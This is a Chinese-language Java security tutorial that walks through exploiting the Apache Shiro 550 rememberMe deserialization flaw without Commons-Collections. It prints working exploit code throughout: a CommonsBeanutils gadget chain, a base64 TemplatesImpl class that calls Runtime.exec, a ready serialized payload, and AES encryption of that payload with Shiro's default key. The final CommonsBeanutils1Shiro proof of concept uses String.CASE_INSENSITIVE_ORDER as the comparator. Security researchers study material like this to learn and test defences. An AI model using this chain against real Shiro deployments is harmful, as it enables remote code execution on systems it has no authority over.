文章目录
【java安全】无Commons-Collections的Shiro550反序列化利用
Shiro550利用的难点
前面我们学习Shiro反序列化漏洞时,使用了一个简单的shiroDemo,在这个Demo中引入了一些依赖:
- shiro-core、shiro-web,这是shiro本身的依赖
- javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
- slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
- commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
前4个都与项目本身有关,如果缺少会导致项目出错。但是第5个只是为了演示漏洞,但是实际情况可能m目标没有安装
Commons-Collections
依赖,这个时候Shiro550反序列化还能用吗?
我们将演示项目中的
Commons-Collections
给删除掉,然后刷新maven:
我们发现项目的依赖中有:
commons-beanutils
,这说明Shiro是依赖于
commons-beanutils
的,那么之前的
CommonsBeanutils1
能用吗?
CommonsBeanutils1是否可以Shiro中?
启动之前的demo项目,
CommonsBeanutils1
如下:
publicclassCommonsBeanUtils1{publicstaticvoidsetFieldValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);}publicstaticvoidmain(String[] args)throwsException{byte[] bytes =Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{bytes});setFieldValue(obj,"_name","HelloTemplatesImpl");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());BeanComparator comparator =newBeanComparator();PriorityQueue queue =newPriorityQueue(2, comparator);
queue.add(1);
queue.add(1);setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{obj, obj});ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();System.out.println(newString(Base64.getEncoder().encode(barr.toByteArray())));}}
将字符串通过key加密:
publicclassCipher{publicstaticvoidmain(String[] args){String s ="rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHABoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEAF0hlbGxvVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAEkhlbGxvVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABAACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEgAEABMADQAUAAsAAAAEAAEAEAABABEAAAACABJwdAASSGVsbG9UZW1wbGF0ZXNJbXBscHcBAHhxAH4ADXg=";byte[] bytes =Base64.getDecoder().decode(s.getBytes());AesCipherService aes =newAesCipherService();byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(bytes, key);System.out.printf(ciphertext.toString());}}
点击
rememberMe
时发送过去,修改
rememberMe
:
发送一个payload,但没有成功:
控制台提示了
serialVersionUID
什么是serialVersionUID?W
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患
所以这里出错的原因就是本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的 commons-beanutils是1.8.3版本,出现了serialVersionUID对应不上的问题
解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。 更换版本后,再次生成Payload进行测试,此时Tomcat端爆出了另一个异常,仍然没有触发代码执行:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
难道没有commons-collections就无法进行反序列化利用吗?当然有。
无依赖的Shiro反序列化利用链
我们先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在 哪里使用了:
在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。 既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,且兼容性强
我们可以找到一个
CaseInsensitiveComparator
:
publicstaticfinalComparator<String>CASE_INSENSITIVE_ORDER=newCaseInsensitiveComparator();privatestaticclassCaseInsensitiveComparatorimplementsComparator<String>,java.io.Serializable{// use serialVersionUID from JDK 1.2.2 for interoperabilityprivatestaticfinallong serialVersionUID =8575799808933029326L;publicintcompare(String s1,String s2){int n1 = s1.length();int n2 = s2.length();int min =Math.min(n1, n2);for(int i =0; i < min; i++){char c1 = s1.charAt(i);char c2 = s2.charAt(i);if(c1 != c2){
c1 =Character.toUpperCase(c1);
c2 =Character.toUpperCase(c2);if(c1 != c2){
c1 =Character.toLowerCase(c1);
c2 =Character.toLowerCase(c2);if(c1 != c2){// No overflow because of numeric promotionreturn c1 - c2;}}}}return n1 - n2;}/**
* Replaces the de-serialized object.
*/privateObjectreadResolve(){returnCASE_INSENSITIVE_ORDER;}}
这个
CaseInsensitiveComparator
类是
java.lang.String
类下的一个内部私有类,其实现了 Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。 我们通过
String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的 CaseInsensitiveComparator 对 象,用它来实例化 BeanComparator :
finalBeanComparator comparator =newBeanComparator(null,String.CASE_INSENSITIVE_ORDER);
POC
最终的
CommonsBeanutils1Shiro
利用链:
packagecom.govuln.shiroattack;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importorg.apache.commons.beanutils.BeanComparator;importjava.io.ByteArrayOutputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.PriorityQueue;publicclassCommonsBeanutils1Shiro{publicstaticvoidsetFieldValue(Object obj,String fieldName,Object
value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);}publicbyte[]getPayload(byte[] clazzBytes)throwsException{TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{clazzBytes});setFieldValue(obj,"_name","HelloTemplatesImpl");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());finalBeanComparator comparator =newBeanComparator(null,String.CASE_INSENSITIVE_ORDER);finalPriorityQueue<Object> queue =newPriorityQueue<Object>(2,
comparator);// stub data for replacement later
queue.add("1");
queue.add("1");setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{obj, obj});// ==================// 生成序列化字符串ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();return barr.toByteArray();}}
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